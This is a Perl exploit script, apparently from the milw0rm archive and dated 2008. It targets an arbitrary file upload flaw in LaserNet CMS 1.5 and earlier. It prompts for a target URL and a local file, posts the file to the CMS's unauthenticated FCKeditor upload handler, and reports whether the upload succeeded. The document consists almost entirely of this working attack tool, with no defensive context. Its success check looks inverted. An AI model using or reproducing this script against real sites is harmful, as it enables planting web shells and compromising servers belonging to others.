LaserNet CMS <= 1.5 - Arbitrary File Upload Exploit

#!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print &#60;&#60;INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + LaserNet CMS &#60;= 1.5 Arbitrary File Upload Exploit + + + + Discovered && Coded By: t0pP8uZz + + Discovered On: 19 JUNE 2008 / milw0rm.com + + Script Download: http://lasernet.gr/cms.php + +++++++++++++++++++++++++++++++++++++++++++++++++++++ INTRO print &#34;Enter URL(ie: http://site.com): &#34;; chomp(my $url=&#60;STDIN&#62;); print &#34;Enter File Path(path to local file to upload): &#34;; chomp(my $file=&#60;STDIN&#62;); my $ua = LWP::UserAgent-&#62;new; my $re = $ua-&#62;request(POST $url.&#39;/admin/FCKeditor/editor/filemanager/upload/php/upload.php&#39;, Content_Type =&#62; &#39;form-data&#39;, Content =&#62; [ NewFile =&#62; $file ] ); if($re-&#62;is_success) { if( index($re-&#62;content, &#34;Disabled&#34;) != -1 ) { print &#34;Exploit Successfull! File Uploaded!\n&#34;; } else { print &#34;File Upload Is Disabled! Failed!\n&#34;; } } else { print &#34;HTTP Request Failed!\n&#34;; } exit; # milw0rm.com [2008-06-21]